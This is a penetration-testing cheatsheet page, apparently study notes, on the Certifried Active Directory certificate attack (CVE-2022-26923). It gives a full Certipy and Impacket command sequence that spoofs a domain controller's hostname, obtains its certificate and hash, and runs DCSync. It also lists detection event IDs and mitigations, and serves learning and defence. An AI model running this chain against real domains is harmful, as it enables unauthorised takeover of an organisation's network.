AD^:Active Directory

Attack #36 — Certifried (CVE-2022-26923)

Certifried (CVE-2022-26923) exploits a flaw in how Active Directory maps computer account certificates to machine accounts. An attacker can create a new…

advancedupdated 2026-08-10Impacket · Certipy

🟢 Attack #36 — Certificate Persistence (Certifried / CVE-2022-26923)


📖 How It Works

Certifried (CVE-2022-26923) exploits a flaw in how Active Directory maps computer account certificates to machine accounts. An attacker can create a new machine account (via MachineAccountQuota), change its dNSHostName attribute to match a Domain Controller’s hostname, then request a Client Authentication certificate. The CA issues a certificate with the DC’s hostname — allowing the attacker to authenticate as the DC and perform DCSync.

Attack Flow

1. Create machine account (FAKE$) via MachineAccountQuota
2. Change FAKE$'s dNSHostName to DC01.corp.local
3. Request a certificate using the Machine template
4. CA issues cert with DC01.corp.local in the SAN
5. Authenticate with the certificate → impersonate DC01$
6. DCSync → domain compromise

⚙️ Prerequisites

RequirementDetail
MachineAccountQuota > 0Default is 10 — allows domain users to create computer accounts
ADCS deployed with Machine templateStandard deployment has this
Unpatched DCsCVE-2022-26923 patched in May 2022

💻 Full Commands

# ── Step 1: Create machine account ────────────────────────────────────────────
certipy account create -u low_user@corp.local -p 'Password1' \
  -user 'FAKE$' -pass 'FakePass123!' -dc-ip 10.10.10.10
# Or:
addcomputer.py -computer-name 'FAKE$' -computer-pass 'FakePass123!' \
  -dc-ip 10.10.10.10 corp.local/low_user:'Password1'

# ── Step 2: Change dNSHostName to match DC ────────────────────────────────────
certipy account update -u low_user@corp.local -p 'Password1' \
  -user 'FAKE$' -dns DC01.corp.local -dc-ip 10.10.10.10

# ── Step 3: Request certificate for FAKE$ (with DC01 hostname) ───────────────
certipy req -u 'FAKE$@corp.local' -p 'FakePass123!' -ca CORP-CA \
  -template Machine -dc-ip 10.10.10.10
# CA issues cert with DC01.corp.local in SAN

# ── Step 4: Restore dNSHostName (cleanup) ─────────────────────────────────────
certipy account update -u low_user@corp.local -p 'Password1' \
  -user 'FAKE$' -dns FAKE.corp.local -dc-ip 10.10.10.10

# ── Step 5: Authenticate as DC01$ ─────────────────────────────────────────────
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10
# Returns DC01$ NT hash

# ── Step 6: DCSync ────────────────────────────────────────────────────────────
secretsdump.py corp.local/'DC01$'@DC01.corp.local \
  -hashes :<DC01_HASH> -just-dc-user krbtgt

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
4741Security Log (DC)Computer account creation
5136Security Log (DC)dNSHostName attribute modification on computer object
4886Security Log (CA)Certificate enrollment for machine account

🔗 Attack Chain Context

[Certifried] ──→ Machine account cert abuse → DC impersonation → DCSync
         │
         ├──→ 🔗 CVE-2022-26923 — patched May 2022
         ├──→ 💻 Low-priv → machine account → DC cert → full domain
         └──→ 💀 Defeated by: patch, set MAQ=0, monitor dNSHostName changes

✅ Attack #36 — Certifried complete.


🏁 Category 4 — ADCS Attacks is now COMPLETE (10/10 attacks).

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.